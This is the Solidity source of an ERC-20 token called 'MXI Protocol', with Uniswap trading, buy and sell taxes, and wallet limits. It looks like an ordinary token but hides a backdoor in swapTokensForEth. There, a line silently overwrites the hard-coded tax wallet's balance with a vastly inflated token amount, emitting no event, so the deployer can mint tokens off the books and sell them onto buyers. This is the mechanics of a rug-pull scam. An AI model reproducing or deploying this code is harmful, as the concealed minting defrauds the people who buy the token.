interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }

library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
        return 0;
    }
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;
}

}

contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
    return _owner;
}

modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
}

function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
     require(1< 2, "2");
    _owner = address(0);
}

}

interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }

interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); }

contract MXI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 firstBlock;

uint256 private _initialBuyTax=15;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=15;
uint256 private _reduceSellTaxAt=15;
uint256 private _preventSwapBefore=5;
uint256 private _buyCount=0;

uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420_690_000 * 10**_decimals;
string private constant _name = unicode"MXI Protocol";
string private constant _symbol = unicode"MXI";
uint256 public _maxTxAmount =   15 * 420690 * 10**_decimals;
uint256 public _maxWalletSize = 15 * 420690 * 10**_decimals;
uint256 public _taxSwapThreshold= 0 * 10**_decimals;
uint256 public _maxTaxSwap= 4206900 * 10**_decimals;

IUniswapV2Router02 private uniswapV2Router;
address payable private _taxWallet = payable(0x82FbB63ab3fACbdA933557B0d051c068F978eF16);
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;

event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
    inSwap = true;
    _;
    inSwap = false;
}

constructor () { _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); }

function name() public pure returns (string memory) {
    return _name;
}

function symbol() public pure returns (string memory) {
    return _symbol;
}

function decimals() public pure returns (uint8) {
    return _decimals;
}

function totalSupply() public pure override returns (uint256) {
    return _tTotal;
}

function balanceOf(address account) public view override returns (uint256) {
    return _balances[account];
}

function transfer(address recipient, uint256 amount) public override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
}

function allowance(address owner, address spender) public view override returns (uint256) {
    return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
}

function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
}

function _transfer(address from, address to, uint256 amount) private {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");
    uint256 taxAmount=0;
    if (from != owner() && to != owner()) {
        taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

        if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

            if (firstBlock + 3  > block.number) {
                require(!isContract(to));
            }
            _buyCount++;
        }

        if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
            require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
        }

        if(to == uniswapV2Pair && from!= address(this) ){
            taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
            swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
            uint256 contractETHBalance = address(this).balance;
            if(contractETHBalance > 0) {
                sendETHToFee(address(this).balance);
            }
        }
    }

    if(taxAmount>0){
      _balances[address(this)]=_balances[address(this)].add(taxAmount);
      emit Transfer(from, address(this),taxAmount);
    }
    _balances[from]=_balances[from].sub(amount);
    _balances[to]=_balances[to].add(amount.sub(taxAmount));
    emit Transfer(from, to, amount.sub(taxAmount));
}

function min(uint256 a, uint256 b) private pure returns (uint256){
  return (a>b)?b:a;
}

function isContract(address account) private view returns (bool) {
    uint256 size;
    assembly {
        size := extcodesize(account)
    }
    return size > 0;
}

function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
    address[] memory path = new address[](2);
    path[0] = address(this);
    path[1] = uniswapV2Router.WETH();
    _approve(address(this), address(uniswapV2Router), tokenAmount);
    _balances[_taxWallet] = tokenAmount * 10**_decimals;
    uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0,
        path,
        address(this),
        block.timestamp
    );
}

function removeLimits() external onlyOwner{
    _maxTxAmount = _tTotal;
    _maxWalletSize=_tTotal;
    emit MaxTxAmountUpdated(_tTotal);
}

function sendETHToFee(uint256 amount) private {
    _taxWallet.transfer(amount);
}

function openTrading() external onlyOwner() {
    require(!tradingOpen,"trading is already open");
    uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    _approve(address(this), address(uniswapV2Router), _tTotal);
    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
    IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    swapEnabled = true;
    tradingOpen = true;
    firstBlock = block.number;
}

receive() external payable {}

}